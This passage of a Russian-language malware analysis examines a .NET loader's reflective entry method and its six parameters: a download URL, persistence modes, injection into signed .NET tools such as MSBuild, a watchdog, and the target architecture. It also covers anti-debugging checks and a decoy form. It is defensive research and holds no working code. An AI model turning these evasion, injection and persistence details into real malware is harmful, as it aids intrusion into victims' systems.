\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f.<\/p>\n
\"myprogram.exe\"<\/p>\n
myprogram.exe<\/code><\/figcaption><\/div>\n<\/figure>\n
\"\u041d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0435<\/p>\n
\u041d\u0435\u0439\u0442\u0440\u0430\u043b\u044c\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430<\/figcaption><\/div>\n<\/figure>\n
\u0412 \u0441\u0431\u043e\u0440\u043a\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0438\u043b\u0438\u0447\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Debugger.IsAttached<\/code>, \u0432\u044b\u0437\u043e\u0432 IsDebuggerPresent<\/code>, \u0432\u044b\u0437\u043e\u0432 CheckRemoteDebuggerPresent<\/code>, \u043f\u043e\u0438\u0441\u043a \u043e\u043a\u043d\u0430 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c OLLYDBG<\/code> \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u043e\u043a\u043e\u043d \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043c\u0451\u043d \u043a\u043b\u0430\u0441\u0441\u043e\u0432. \u0421\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u0436\u0435\u043d\u0442\u043b\u044c\u043c\u0435\u043d\u0441\u043a\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u0434\u043b\u044f \u043b\u044e\u0431\u043e\u0433\u043e \u0443\u0432\u0430\u0436\u0430\u044e\u0449\u0435\u0433\u043e \u0441\u0435\u0431\u044f .NET-\u043b\u043e\u0430\u0434\u0435\u0440\u0430.<\/p>\n
\u0412\u043e\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u0442\u044c \u043d\u044e\u0430\u043d\u0441. \u0412\u0441\u0435 \u044d\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u043c\u0435\u0442\u043e\u0434\u0430 Main<\/code> \u2014 \u0442\u043e \u0435\u0441\u0442\u044c \u0438\u0437 \u0442\u043e\u0447\u043a\u0438 \u0432\u0445\u043e\u0434\u0430 \u0441\u0431\u043e\u0440\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u0435\u0441\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0430\u0439\u043b \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 EXE. \u0410 \u0432 \u043d\u0430\u0448\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0441\u0431\u043e\u0440\u043a\u0430 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a EXE<\/strong>. \u041e\u043d\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u044e \u2014 \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 C#-\u043e\u0431\u0432\u0435\u0441 \u0438\u0437 \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0441\u043b\u043e\u044f \u0434\u0451\u0440\u0433\u0430\u0435\u0442 \u043d\u0443\u0436\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e. Main<\/code> \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432\u043e\u043e\u0431\u0449\u0435<\/strong>.<\/p>\n
\u042d\u0442\u043e \u043a\u0430\u043a \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0438\u0433\u043d\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043d\u0430 \u0434\u0432\u0435\u0440\u044c, \u0430 \u0445\u043e\u0434\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043e\u043a\u043d\u043e. \u041f\u0440\u0438\u0447\u0451\u043c \u0447\u0435\u0440\u0435\u0437 \u043e\u043a\u043d\u043e \u0445\u043e\u0434\u0438\u0442 \u0441\u0430\u043c \u0445\u043e\u0437\u044f\u0438\u043d: \u043e\u043d \u0436\u0435 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u044d\u0442\u0443 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u044e. \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0432 \u0441\u0431\u043e\u0440\u043a\u0435 \u0435\u0441\u0442\u044c, \u043d\u043e \u0432 \u044d\u0442\u043e\u0439 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u043e\u043d\u0430 \u043c\u0435\u0440\u0442\u0432\u0430. \u042d\u0442\u043e \u043d\u0435 \u0440\u0435\u0434\u043a\u0438\u0439 \u0441\u043b\u0443\u0447\u0430\u0439 \u2014 \u0442\u0430\u043a \u0431\u044b\u0432\u0430\u0435\u0442 \u0443 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u043b\u043e\u0430\u0434\u0435\u0440\u043e\u0432. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u0431\u0435\u0440\u0451\u0442 \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443, \u0432\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0432 \u0441\u0432\u043e\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0438 \u043d\u0435 \u0437\u0430\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0447\u0430\u0441\u0442\u044c \u0437\u0430\u0449\u0438\u0442 \u043f\u0440\u0438 \u0442\u0430\u043a\u043e\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442.<\/p>\n
\u0414\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0430\u044f \u043d\u043e\u0432\u043e\u0441\u0442\u044c: \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0432\u043e\u0437\u0438\u0442\u044c\u0441\u044f \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043a\u0438, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0430 \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0441\u0431\u043e\u0440\u043a\u0443 \u0438\u0437 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c \u0435\u0451 \u0432 \u0443\u0434\u043e\u0431\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435.<\/p>\n
\u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0441\u0431\u043e\u0440\u043a\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f runss<\/code> \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432. \u0418\u043c\u0435\u043d\u043d\u043e \u0435\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u0438\u0437 \u0442\u0440\u0435\u0442\u044c\u0435\u0433\u043e \u0441\u043b\u043e\u044f. \u041f\u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u0438 \u043f\u043e \u043b\u043e\u0433\u0438\u043a\u0435 \u043c\u0435\u0442\u043e\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u0440\u0442\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0441\u0431\u043e\u0440\u043a\u0438 \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u043b\u044e\u0431\u0430\u044f \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f.<\/p>\n
    \n
  1. \n
    \u041f\u0435\u0440\u0432\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432. \u0422\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 \u0438\u0437\u0443\u0440\u043e\u0434\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441 \u0440\u0430\u0437\u0432\u0451\u0440\u043d\u0443\u0442\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439, \u043e\u0431\u0440\u0435\u0437\u0430\u043d\u043d\u044b\u043c \u0445\u0432\u043e\u0441\u0442\u043e\u043c \u0438 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u0440\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043b\u0438 \u0432 \u0442\u0440\u0435\u0442\u044c\u0435\u043c \u0441\u043b\u043e\u0435. \u0421\u0431\u043e\u0440\u043a\u0430 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u043e\u0431\u0440\u0430\u0442\u043d\u043e, \u043f\u0440\u0438\u043a\u043b\u0435\u0438\u0432\u0430\u0435\u0442 http<\/code>, \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 URL \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430. \u042d\u0442\u043e \u0442\u043e\u0442 \u0441\u0430\u043c\u044b\u0439 dbjdfmd.txt<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0441\u043b\u043e\u0435.<\/p>\n<\/li>\n
  2. \n
    \u0412\u0442\u043e\u0440\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 \u0440\u0435\u0436\u0438\u043c \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. \u041d\u043e\u043b\u044c \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u044f\u0442\u044c\u0441\u044f, \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438\u00bb. \u0415\u0434\u0438\u043d\u0438\u0446\u0430, \u0434\u0432\u043e\u0439\u043a\u0430, \u0442\u0440\u043e\u0439\u043a\u0430, \u0447\u0435\u0442\u0432\u0451\u0440\u043a\u0430 \u2014 \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f: \u0447\u0435\u0440\u0435\u0437 bat-\u0444\u0430\u0439\u043b, \u0447\u0435\u0440\u0435\u0437 vbs, \u0447\u0435\u0440\u0435\u0437 js, \u0447\u0435\u0440\u0435\u0437 hta. \u0412 \u043d\u0430\u0448\u0435\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0441\u0442\u043e\u0438\u0442 \u043d\u043e\u043b\u044c. \u041f\u0440\u043e\u043f\u0438\u0441\u043a\u0438 \u0432 RunOnce<\/code> \u0438\u043b\u0438 Run<\/code> \u043d\u0435\u0442, \u0444\u0430\u0439\u043b\u043e\u0432 \u0432 %ProgramData%<\/code> \u043d\u0435\u0442, \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0441\u0451 \u043f\u0440\u043e\u043f\u0430\u0434\u0430\u0435\u0442.<\/p>\n<\/li>\n
  3. \n
    \u0422\u0440\u0435\u0442\u0438\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 \u0438\u043c\u044f \u0444\u0430\u0439\u043b\u0430 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f. \u041f\u0443\u0441\u0442\u0430\u044f \u0441\u0442\u0440\u043e\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043e.<\/p>\n<\/li>\n
  4. \n
    \u0427\u0435\u0442\u0432\u0451\u0440\u0442\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0434\u043b\u044f \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438. \u0417\u0434\u0435\u0441\u044c \u0441\u0442\u043e\u0438\u0442 Msbuild<\/code>. \u041c\u043e\u0433\u043b\u043e \u0441\u0442\u043e\u044f\u0442\u044c RegAsm<\/code>, \u043c\u043e\u0433\u043b\u043e Vbc<\/code>, \u043c\u043e\u0433\u043b\u0438 \u0435\u0449\u0451 \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0435 \u0442\u0443\u043b\u0437\u044b \u0438\u0437 .NET Framework. \u0412\u044b\u0431\u043e\u0440 \u0431\u043e\u0433\u0430\u0442\u044b\u0439.<\/p>\n<\/li>\n
  5. \n
    \u041f\u044f\u0442\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 watchdog. \u041d\u043e\u043b\u044c \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u00bb. \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0435\u0434\u0438\u043d\u0438\u0446\u0443, \u0441\u0431\u043e\u0440\u043a\u0430 \u0441\u043e\u0437\u0434\u0430\u0441\u0442 bat-\u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0437 \u0432 70 \u0441\u0435\u043a\u0443\u043d\u0434 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442, \u0436\u0438\u0432 \u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441-\u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440, \u0438 \u043f\u0440\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443. \u0410\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0439 \u0442\u0430\u043a\u043e\u0439 \u00ab\u0441\u0442\u043e\u0440\u043e\u0436\u0435\u0432\u043e\u0439 \u043f\u0451\u0441\u0438\u043a\u00bb.<\/p>\n<\/li>\n
  6. \n
    \u0428\u0435\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430. x64<\/code> \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u00ab\u0438\u043d\u0436\u0435\u043a\u0442\u0438\u0442\u044c \u0432 64-\u0431\u0438\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u00bb, x86<\/code> \u2014 \u0432 32-\u0431\u0438\u0442\u043d\u044b\u0439. \u0420\u0430\u0437\u043d\u0438\u0446\u0430 \u0432 \u0442\u043e\u043c, \u043a\u0430\u043a\u0438\u0435 \u043f\u0443\u0442\u0438 \u043a .NET Framework \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0438 \u043a\u0430\u043a\u043e\u0439 \u0438\u0437 \u0434\u0432\u0443\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f.<\/p>\n<\/li>\n<\/ol>\n
    \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u043a\u043b\u044e\u0447\u0435\u043d\u043e \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0451: \u043d\u0438 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f, \u043d\u0438 watchdog, \u0440\u0430\u0431\u043e\u0442\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u041e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u00ab\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043d\u0435 \u0443\u043c\u0435\u0435\u0442\u00bb \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442: \u0432\u0435\u0441\u044c \u043a\u043e\u0434 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0438 \u0441\u0442\u043e\u0440\u043e\u0436\u0430 \u0432 \u0441\u0431\u043e\u0440\u043a\u0435 \u0435\u0441\u0442\u044c. \u041f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u0435\u0435 \u0434\u0440\u0443\u0433\u043e\u0435: \u0443 \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0434\u0432\u0430 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0432\u044b\u0439, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043b\u043e\u0430\u0434\u0435\u0440\u0430, \u0441\u043e\u0431\u0440\u0430\u043b \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u043e\u0432. \u0412\u0442\u043e\u0440\u043e\u0439, \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u0432\u0437\u044f\u043b \u0435\u0433\u043e \u0433\u043e\u0442\u043e\u0432\u044b\u043c \u0438, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u00ab\u0438\u0437 \u043a\u043e\u0440\u043e\u0431\u043a\u0438\u00bb, \u043d\u0435 \u0432\u043d\u0438\u043a\u0430\u044f \u0432 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438. \u041a\u043e\u0441\u0432\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u0436\u0435 \u043b\u043e\u0430\u0434\u0435\u0440 (\u043a\u043b\u0430\u0441\u0441 myprogram.Homees<\/code>, \u043c\u0435\u0442\u043e\u0434 runss<\/code>) SonicWall \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b \u0432 \u0441\u043e\u0432\u0441\u0435\u043c \u0434\u0440\u0443\u0433\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435, \u0441 VioletRAT \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438, <<START>><\/code> \u0438 <<END>><\/code>. \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0445\u043e\u0434\u0438\u0442 \u043f\u043e \u0440\u0443\u043a\u0430\u043c. \u0414\u0430\u043b\u044c\u0448\u0435 \u044f \u0431\u0443\u0434\u0443 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0442\u044c \u044d\u0442\u0438 \u0440\u043e\u043b\u0438: \u0432\u043e\u0441\u0445\u0438\u0449\u0430\u0442\u044c\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u043c \u0438 \u043f\u0440\u0438\u0434\u0438\u0440\u0430\u0442\u044c\u0441\u044f \u043a \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0443. <\/p>\n
    \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0434\u0435\u0442\u0430\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0437\u0430\u0431\u0430\u0432\u043d\u043e. \u0415\u0441\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c myprogram.exe<\/code> \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 EXE \u2014 \u0434\u0432\u043e\u0439\u043d\u044b\u043c \u0449\u0435\u043b\u0447\u043a\u043e\u043c, \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u0440\u0435\u0444\u043b\u0435\u043a\u0441\u0438\u044e \u2014 \u043e\u0442\u043a\u0440\u043e\u0435\u0442\u0441\u044f \u043f\u0443\u0441\u0442\u0430\u044f Windows Forms \u0444\u043e\u0440\u043c\u0430 \u0441 \u043a\u043d\u043e\u043f\u043a\u0430\u043c\u0438 button1<\/code>\u2013button4<\/code> \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u043c \u043f\u043e\u043b\u0435\u043c. \u041d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0438\u0441\u0438\u0442.<\/p>\n
    \"\u0412\u0435\u0441\u044c\u043c\u0430<\/p>\n
    \u0412\u0435\u0441\u044c\u043c\u0430 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u0438\u0441\u0442\u0438\u0447\u043d\u043e<\/figcaption><\/div>\n<\/figure>\n
    \u042d\u0442\u043e \u043d\u0435 \u0431\u0430\u0433 \u0438 \u043d\u0435 \u0437\u0430\u0433\u043e\u0442\u043e\u0432\u043a\u0430 \u043f\u043e\u0434 \u0431\u0443\u0434\u0443\u0449\u0438\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u042d\u0442\u043e \u0440\u0430\u0441\u0447\u0451\u0442 \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442 \u0444\u0430\u0439\u043b \u00ab\u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e\u00bb, \u0443\u0432\u0438\u0434\u0438\u0442 \u043a\u0440\u0438\u0432\u043e \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0441\u043e\u0444\u0442\u0438\u043d\u0443, \u043f\u043e\u0436\u043c\u0451\u0442 \u043f\u043b\u0435\u0447\u0430\u043c\u0438 \u0438 \u0437\u0430\u043a\u0440\u043e\u0435\u0442. \u0410\u043d\u0442\u0438\u0430\u043d\u0430\u043b\u0438\u0437 \u0447\u0435\u0440\u0435\u0437 \u0431\u0435\u0437\u0440\u0430\u0437\u043b\u0438\u0447\u0438\u0435. \u041f\u0440\u0438\u0447\u0435\u043c \u0432 \u044d\u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043a\u0430\u043a \u0440\u0430\u0437 \u0442\u0430\u043a\u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f Main<\/code> \u0438 \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0432 \u043f\u043e\u043b\u043d\u0443\u044e \u0441\u0438\u043b\u0443. \u041a\u0430\u043a \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0442\u0430\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 \u0438 \u0430\u043d\u0442\u0438\u043e\u0442\u043b\u0430\u0434\u043a\u0430 \u0438 \u0431\u044b\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u044b \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u043b\u043e\u0436\u043d\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u0438\u0437 \u0432 \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435.<\/p>\n
